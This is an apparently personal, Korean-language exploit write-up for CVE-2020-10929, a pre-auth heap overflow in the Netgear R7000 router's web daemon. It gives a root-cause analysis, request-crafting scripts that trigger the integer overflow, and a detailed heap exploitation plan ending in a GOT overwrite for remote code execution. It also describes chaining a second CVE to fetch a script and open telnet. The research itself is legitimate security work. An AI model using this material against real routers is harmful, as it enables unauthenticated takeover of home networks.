Search

[Netgear][CVE-2020-10929] httpd heap overflow & RCE

Created Time
2024/01/19
Vector
취약점
Tag
1day
IoT

1. Hardware

Model : AC1900 R7000
관리자 계정
admin/Qwe123123
사진기준 왼쪽부터
VCC, GND, TX, RX
UART 연결 시 별도의 인증 없이 쉘 접근 가능

2. Check Info

Firmware Version
V1.0.11.100_10.2.10
대략 20년 4월쯤 나온 펌웨어
CVE-2020-10929
WAN Side pre-auth 취약점
httpd 데몬은 Netgear 라우터 웹 데몬
pre-auth heap overflow
httpd mitigation

3. Firmware Extraction

위 사이트에서 V1.0.11.100_10.2.10 버전의 펌웨어를 다운 받은 뒤 binwalk로 파일시스템을 추출할 수 있다.
추가적인 이슈 없이 binwalk로 squashfs이 바로 추출된다.
/usr/sbin/httpd가 취약한 바이너리. 실행 인자는 다음과 같다
httpd -S -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem
Bash
복사
내부에 tftp가 존재하며 이를 이용하여 원하는 바이너리를 올릴 수 있다.
# tftp 서버는 ubuntu 16.04에서 tftp-hpa를 설치후 tftp 서버로 구동 중 # 공유기 내부 서버에서 # get -> tftp -l [추출하고자하는 바이너리] -p [tftp 서버 ip] # put -> tftp -r [공유기에 넣을 바이너리] -g [tftp 서버 ip]
Python
복사

4. Root Cause

Backup Settings 카테고리에서 backup 파일을 가져와 해당 설정으로 복구하는 기능이 존재한다.
해당 부분은 backup.cgi에서 처리되며 인증 없이도 접근할 수 있는 기능이다.
bacup에 사용되는 파일을 데이터로 하여 패킷이 전송된다. 패킷 구조는 아래와 같다.
해당 HTTP 요청은 multipart/form-data이며 mtenRestoreCfg 필드를 포함해야 한다.

4.1 httpd Process flow

0x17900
httpd가 실행되고 main 함수가 쭉 수행이 되며 sub_1643c 함수를 호출한다.
해당 함수는 http 패킷을 처리하는 최상단의 함수이며 각종 환경 설정 및 초기 세팅을 수행한다. 또한 인증 처리 로직을 수행하기 전에 수행되는 함수이다.
sub_10DA4 함수 내부에서 recv를 통해 입력을 받으며 최대 0x400만큼 받는다.(해당 작업을 while 루프를 돌며 수행된다.)
0x17FD0
s1에는 요청 전체 pkt 데이터가 들어있다.
s1에 Content-Length: backup.cgi 문자열이 들어있고, filename=”” 이 없으면 LABEL_306으로 이동한다. backup.cgi의 역할은 파일 업로드를 위해 Content-Type이 multipart/form-data를 처리하기 위함이다.
LABEL_306에서 pkt_remain 값을 1로 설정한다.
0x178B00
0x400 바이트 이상의 패킷이 들어온다면 남아있는 데이터를 읽는다. 이 경우 select 함수의 반환 값은 1이되며 sub_10DA4 함수를 통해 남아있는 패킷 데이터를 수신한다.
0x17B80
s1에 name=”mtenRestoreCfg” 필드가 존재한다면 if 조건문을 만족하지 않아 else로 빠지게 된다.
0x17BF8
else로 빠지게 되면 s1에 “Content-Length: “ 문자열을 검색하고 Content-Length 길이 값을 가져와 최종적으로 filesize 변수에 저장한다.
filesize > 0x10017 비교를 수행한다. 만약 filesize가 더 크다면 filesize + 4 - v104를 계산하여 filesize를 재설정한다.
filesize는 “Content-Length: “ 필드에 들어있는 값이므로 컨트롤 가능한 값이다. 해당 부분에서 integer overflow가 발생해 filesize를 큰 값으로 재설정 할 수 있다.

4.2 Integer Overflow Flow

POST /backup.cgiContent-Length: 111 HTTP/1.1\r\n
JavaScript
복사
Content-Length: 필드를 처리할 때 결함이 존재한다.
stristr 함수를 통해 해당 문자열 위치를 가져오게 되는데 만약 위와 같은 형식으로 전달 시 Content-Length 필드를 컨트롤 할 수 있다.
0x17BF8
0x17c38에서 “Content-Length: “ 문자열을 정수로 변환하는 과정을 거친다.
atoi 함수의 역할을 수행하는 로직이며 정상적으로 숫자 문자열을 정수로 변환하기 위해 아스키 코드를 기준으로 ‘0’(0x30)을 빼주면 된다.
하지만 0x17c38은 숫자가 아닌 문자열에 대한 검증이 없기 때문에 스페이스(0x20) 같은 값이 존재한다면 0x20-0x30 = 0xfffffff0 의 결과를 불러 일으킨다.
#include <stdio.h> int main() { char *pkt=" 111 HTTP/1.1"; int i=0; int v109; unsigned int filesize=0; unsigned int tmp=0; printf("pkt size is %d\n",12); for(i;i<12;i++) { v109 = *(char*)++pkt; tmp = filesize; filesize = v109 - 0x30 + 10*filesize; printf("fiesize = %#x - 0x30 + 10*%d => %d\n",(int)v109,tmp,filesize); } return 0; } -------------------------------------------- ╭─vhok74@DESKTOP-GLCMDCV ~ ╰─$ ./test pkt size is 12 fiesize = 0x31 - 0x30 + 10*0 => 1 fiesize = 0x31 - 0x30 + 10*1 => 11 fiesize = 0x31 - 0x30 + 10*11 => 111 fiesize = 0x20 - 0x30 + 10*111 => 1094 fiesize = 0x48 - 0x30 + 10*1094 => 10964 fiesize = 0x54 - 0x30 + 10*10964 => 109676 fiesize = 0x54 - 0x30 + 10*109676 => 1096796 fiesize = 0x50 - 0x30 + 10*1096796 => 10967992 fiesize = 0x2f - 0x30 + 10*10967992 => 109679919 fiesize = 0x31 - 0x30 + 10*109679919 => 1096799191 fiesize = 0x2e - 0x30 + 10*1096799191 => -1916909980 fiesize = 0x31 - 0x30 + 10*-1916909980 => -1989230615 #0x896ebfe9
C
복사
Content-Length: 111 HTTP/1.1\r\n 구문 분석을 직접 구현하면 다음과 같은 결과가 나온다
0x20 문자 때문에 잘못된 계산이 수행되며 최종적으로 filesize는 0x896ebfe9 으로 계산이 된다.
num = 111 while True: str_ = f"{num} HTTP/1.1" len_=len(str_) filesize=0 for i in range(len_): v109 = ord(str_[i]) filesize = v109 - 0x30 + 10*filesize check = '0x'+hex(filesize)[-8:] print(check) if "0xffffff" in check: print(num) break print(f"============{num}=============") num=num+1 -------------------------------------------------------- $ pypy3 find_len.py ... 0x4d2fa1e9 ============4156556============= 0x88ca6be9 ============4156557============= 0xc46535e9 ============4156558============= 0xffffffe9 4156559
Python
복사
find_len.py
스크립트를 통해 filesize의 연산 결과가 0xffffffff에 가장 가까운 값을 찾았다.(4156559)
0x17c38
filesize가 0x10017보다 크면 몇 가지 연산을 통해 filesize가 다시 계산된다.
stristr(s1,’\r\n\r\n’)은 header 끝 부분 주소를 의미하며 해당 주소에 filesize 를 더한다.
여기서 filesize는 integer overflow를 통해 0xffffffe9로 조작 했으며 해당 값에 + 4를 더한다.(0xffffffed)
마지막으로 v104를 뺀다. v104는 body의 시작 주소이다. 재연산된 값을 filesize로 설정하고
0x17E08
최종적으로 filesize+0x258를 통해 malloc을 수행한다.
import sys def tohex(val, nbits): return hex((val + (1 << nbits)) % (1 << nbits)) def execute(a,size): request = 'POST backup.cgiContent-Length: 4156559 HTTP/1.1\r\n' request += 'Host: 192.168.1.1:80\r\n' request += 'a'*0x200 request += ': test\r\n' request += 'Content-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n' post_data = "--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name=\"mtenRestoreCfg\"; filename=\"" post_data += 'a'*a post_data += "\"\r\n\r\n" post_data += 'k' # body data s = f'Content-Length: {str(len(post_data))}\r\n\r\n' request += s tmp = request request += post_data r6 = request[40:].index("Content-Length") r9 = request.index("\r\n\r\nk")+4 r6 = r6+40 - r9 r6 = int(tohex(r6,32),16) result = r6 + 0x258 result = tohex(result,32) print(result) if result == size: print(f'Want size : {size}') print(f'Need argv size : {hex(a)}') print(f'want_size + neet_size = {hex(int(size,16)+a)}') print('Setting size : 0x1d7 - [want_size]') return True return False cnt = 1 size = sys.argv[1] while True: print(hex(cnt)) flag = execute(cnt,size) if flag: break cnt = cnt + 1
Python
복사
calc_size.py
integer overflow를 통해 원하는 청크를 크기를 할당 받기 위해 설정 해야 하는 body 데이터 크기를 찾는 스크립트를 작성하였으며,
이를 통해 0x1d7-[원하는 사이즈]를 body 데이터로 설정하여 보내면 malloc시 integer overflow를 통해 heap 크기를 컨트롤 할 수 있고 heap overflow를 일으킬 수 있다.

4.3 heap overflow

0x17E08
attack_buf(0x1DF0B8)가 존재하면 해당 메모리를 free한다
4.2절에서 filesize+0x258 를 통해 원하는 크기를 할당 받을 수 있다는 것을 확인하였다.(integer overflow).
현재 filesize를 컨트롤 할 수 있으므로 원하는 크기의 청크를 할당 할 수 있다.
total_readsize는 recv를 통해 읽은 전체 데이터의 크기이며 v97은 패킷에서 헤더를 제외한 전체 body 사이즈를 뜻한다. 따라서 복사되는 크기는 실제 body 데이터 사이즈이다.
s1[v97]에는 실제 body부분에 담긴 데이터가 들어있다.
최종적으로 할당받은 heap 크기와 실제 복사하는 크기를 다르게 할 수 있으므로 heap overflow가 발생한다.
예를 들어 integer overflow를 통해 0x20 크기의 청크를 할당 받아도 실제 body에 ‘a’*0x40을 넣어 heap overflow 가능하다.

4.4 Check infomation

현재 상황을 정리하면 다음과 같다.
integer overflow : 원하는 청크 크기 할당 가능
heap overflow 가능
추가적으로 확인된 상황은 다음과 같다.
ASLR이 걸려있긴 하지만 heap 영역의 주소는 고정
커널 버전 Linux R7000 2.6.36.4brcmarm+
uClibc 버전 : 0.9.33.2
uClibc는 축소화 된 임베디드 용 glibc이다.(glibc와 유사하지만 좀 더 간소화 된 라이브러리)
heap overflow가 가능하므로 연속된 주소의 fastbin 청크를 할당 받아 다음 청크의 meta data를 overwrite한다.
조작된 meta data를 이용하여 원하는 주소(ex. free got addr)를 할당 받고, system 함수로 덮어써 RCE를 수행하면 된다. 하지만 몇 가지 주의사항이 존재한다.
heap overflow가 발생하는 memcpy 이후 로직 중 sub_290CC 함수 내부에서 fopen 가 호출된다.
sub_290CC → sub_39804 → sub_1B8FC → fopen(libc.so.0)
fopen 후 sub_1A118 함수 내부에서 fclose가 수행된다.
_DWORD *__fastcall stdio_fopen(int inited, unsigned __int8 *a2, _DWORD *a3, int a4) { ... if ( !a3 ) { v12 = j_malloc(0x60u); v7 = v12; if ( !v12 ) return v7; v12[2] = 0; *(_WORD *)v12 = 0x2000; inited = j___stdio_init_mutex(v12 + 18); } ... if ( !v7[2] ) { v20 = j_malloc(0x1000u); v7[2] = v20; if ( v20 ) { v21 = *(_WORD *)v7; v7[3] = v20 + 1024; ...
C
복사
libc.so.0
fopen 내부에서 malloc(0x60), malloc(0x1000) 을 두번 수행한다.
0x60 사이즈는 small bin 크기이며 0x1000 사이즈는 large bin 크기이다.
uClibc에서 large bin 크기가 요청되면 현재 free 되어 있는 fast bin을 검색하고 병합하여 재할당을 위한 청크 재배열을 수행한다.(malloc_consolidate).
fastbin 재할당을 받으려면 fastbin에 들어있는 청크들이 병합되면 안된다.
fopen 이후 sub_1A118 내부에서 fclose를 통해 0x1000, 0x60 순서로 해당 청크를 free 한다.
메모리 할당 및 해제의 흐름을 정리하면 다음과 같다.
1.
attack_buf(0x1DF0B8) 주소가 할당되어 있다면 free(attack_buf)
2.
malloc(원하는 크기) 후 attack_buf에 저장
3.
sub_1B8FC 내부의 fopen에서 malloc(0x60), malloc(0x1000) 수행
4.
sub_1A118 내부의 fclose 에서 free(0x1000), free(0x60) 수행
heap exploit을 수행하기 위해 fastbin 크기의 청크를 할당받아야하며 malloc_consolidate 작업을 피해야 하는 상황이다.
int __fastcall sub_A59C8(FILE *a1, size_t size, _DWORD *a3) { ... buf = malloc(size); if ( !buf ) { printf("malloc zipLangTblSize(%lu) fail\n", size); return -1; } ... // 생략 ... free(buf); return v13; }
C
복사
sub_A59C8
malloc_consolidate를 우회하기 위해 원하는 크기의 malloc을 수행하는 다른 로직이 필요한다.
sub_A59C8 함수는 /genierestore.cgi 를 처리하는 함수이며,
/genierestore.cgi 요청을 통해 malloc시 원하는 크기로 할당을 받을 수 있다.
/genierestore.cgi 요청 시, filecontent의 첫 0x10 바이트가 size를 의미한다.
해당 함수에서는 malloc 후 처리가 끝나면 바로 free를 수행한다.
malloc_consolidate를 조작하기 위한 조건은 확인했으므로 heap 로직을 파악하면 다음과 같다.

4.5 Heap Structure

struct malloc_state { /* The maximum chunk size to be eligible for fastbin */ size_t max_fast; /* low 2 bits used as flags */ /* Fastbins */ mfastbinptr fastbins[NFASTBINS]; // NFASTBINS==10, fastbins[10] /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2]; // NBINS==96, bins[192] /* Bitmap of bins. Trailing zero map handles cases of largest binned size */ unsigned int binmap[BINMAPSIZE+1]; ...
C
복사
glibc의 heap 구조를 알고 있다는 전제로 설명한다.
malloc_state 구조는 다음과 같다. glibc와 유사하며 fastbin은 10개의 빈을 가진다.
fastbin 다음에 top 청크의 주소와 last_remainder 청크가 온다.
그다음 unsorted bin, small bin, large bin 을 관리하는 bins[192]가 온다.
heap 로직 분석 내용은 따로 정리하였으며 위 글을 참조하면 된다.
결국 중요한 부분은 fastbin의 재할당 로직과 largebin 크기의 청크 요청 시 병합과정이 언제 일어나는지를 알면 분석하는데 도움이 된다.
현재 fastbin 공격을 수행하려면, malloc_consolidate 분기를 타지 않게 우회해야한다. 해당 방법은 free 구현의 길이 검증의 부재를 이용하여 해결한다.
// #define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2) void free(void* mem) { mstate av; ... if ((unsigned long)(size) <= (unsigned long)(av->max_fast) #if TRIM_FASTBINS /* If TRIM_FASTBINS set, don't place chunks bordering top into fastbins */ && (chunk_at_offset(p, size) != av->top) #endif ) { set_fastchunks(av); //LIFO 방식으로 fastbin에 청크를 추가하는 로직 fb = &(av->fastbins[fastbin_index(size)]); p->fd = *fb; *fb = p; // point! } ... }
C
복사
p는 해제하려는 청크의 주소이다.
free 되려는 현재 청크의 크기가 fastbin 크기라면 (size < av→max_fast)
fastbin에 LIFO 방식으로 해당 청크를 추가한다.
하지만 만약 size가 8이면 (8>>3)-2 연산을 통해 -1이 되고 결국 다음과 같게 된다.
fb = &(av->fastbins[-1]);
struct malloc_state { /* The maximum chunk size to be eligible for fastbin */ size_t max_fast; /* low 2 bits used as flags */ /* Fastbins */ mfastbinptr fastbins[NFASTBINS]; // NFASTBINS==10, fastbins[10]
C
복사
mstate 구조체는 malloc_state 구조체이며 만약 fastbin[-1]으로 계산이 되면 max_fast 필드의 주소가 반환되어 fb에 들어가게 된다.
따라서 *fb=p 연산을 통해 p(주소 값)를 이용하여 max_fast 필드를 overwrite 할 수 있다.
void* malloc(size_t bytes) { mstate av; .. /* If the size qualifies as a fastbin, first check corresponding bin. */ if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { fb = &(av->fastbins[(fastbin_index(nb))]); if ( (victim = *fb) != 0) { // heap exploit을 수행하면서 max_fast를 overwrite하는 시점에 오면 // 적어도 1개 이상의 fastbin은 들어있음 *fb = victim->fd; check_remalloced_chunk(victim, nb); retval = chunk2mem(victim); goto DONE; } } if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av,idx); ... else { idx = __malloc_largebin_index(nb); //largebin 일 경우 if (have_fastchunks(av)) //fastbin에 청크가 남아있으면 __malloc_consolidate(av); // 원래의 경우 병합이 진행되야함 }
C
복사
정상적인 경우 fopen시의 0x1000크기의 요청은 largebin 크기이다. 따라서 av→max_fast 값보다 큰 값을 가지는게 정상적인 경우지만,
max_fast 필드가 overflow되어 0x1000 크기 요청 역시 fastbin 로직에서 검색하는 로직을 타게 되므로 largebin 검색 분기 까지 오지 않아 fastbin이 병합되는 것을 우회할 수 있다.

5. Exploit

exploit 시나리오는 다음과 같다.
1.
연속된 주소의 두 청크 할당
A 할당
B 할당 → free(A) 후 B 할당
2.
C 청크 할당
free(B) 후 C 할당
실제로는 A 청크가 해제된 상황이므로 A 주소를 할당 받게 된다
3.
heap overflow를 이용하여 B 청크의 메타데이터 overwrite
A청크는 현재 재할당 받은 상태이므로 B 청크의 헤더에 prev_size가 설정되어 있지 않지만
heap overwrite를 이용하여 B청크의 prev_size와 size를 조작한다. 이 때 size의 prev_inuse bit를 0으로 설정한다.
prev_size는 B 청크 이전 영역 중 정상적으로 free(Largebin크기로) 되어 있는 청크 주소에 맞게 설정해야한다. (해당 청크를 K라 지칭)
내부적으로 fopen시 Largebin 크기의 malloc이 호출되면 fastbin 청크가 존재할 경우 병합을 위해malloc_consolidate이 호출된다.
void* malloc(size_t bytes) ... else { idx = __malloc_largebin_index(nb); if (have_fastchunks(av)) __malloc_consolidate(av); ...
C
복사
병합 시 B 청크의 prev_inuse bit를 0으로 수정했기 때문에 malloc_consolidate 함수 내부에서 K청크와 B 청크가 병합된다(병합된 free 청크를 H라 지칭).
조작된 병합으로 인해 free되어 있는 H청크 중간에 C 청크가 들어가 있다.
4.
3번에서 조작한 B 청크의 (- prev_size) 위치에 있는 청크 재할당(H 청크)
H 청크 중간에 C 청크가 포함되어 있으므로 C 청크의 메타데이터를 덮을 수 있다.
C청크의 size를 prev_inuse를 포함한 0x9로 변경한다.(max_fast를 덮기 위해)
5.
free(attack_buf)를 호출하여 max_fast overwrite
이 시점부턴 fastbin 병합은 수행되지 않는다.
6.
적절한 크기의 청크 할당
1번 과정처럼 heap overflow를 하기 위해 적절한 크기 할당 및 해제.
7.
heap overflow 수행
6번에서 만든 청크들을 이용하여
overflow를 통해 다음 청크의 size를 조작하고, fd를 free_got로 수정
8.
7번에서 조작한 size의 청크 할당
free_got를 system함수로 조작
9.
free 호출 시 system 함수가 호출되며 exploit 수행.
exploit 시나리오를 도식화 하면 다음과 같다.
위 시나리오의 1 ~ 5번 과정
step 1 ~ 5
위 시나리오의 6 ~ 9번 과정

poc

공격에 성공하게 되면 heap 구조가 망가져 httpd 서비스가 죽을 수 있다.
따라서 poc 신뢰성을 높이기 위해 다음의 작업을 수행하였다.
1.
CVE-2021-40847 의 circled 취약점을 활용하여 e 라는 스크립트를 ftp를 통해 다운 받고 공유기 내부에서 실행
2.
e 스크립트는 httpd 프로세스를 재 실행시킨 뒤, telnet을 open하는 기능 코드로ping_circle.sh overwrite
3.
내부적으로 ping_circle.sh이 실행되면 http가 재 실행되며, telnet이 활성화
ping_circle.sh 스크립트를 덮었다.
CVE-2021-40847은 60분에 한번 씩 ping_circle.sh이 실행되므로 분석의 편의성을 위해 10초에 한 번씩 실행되게 끔 수정하였다.
e
poc.py

6. Appendix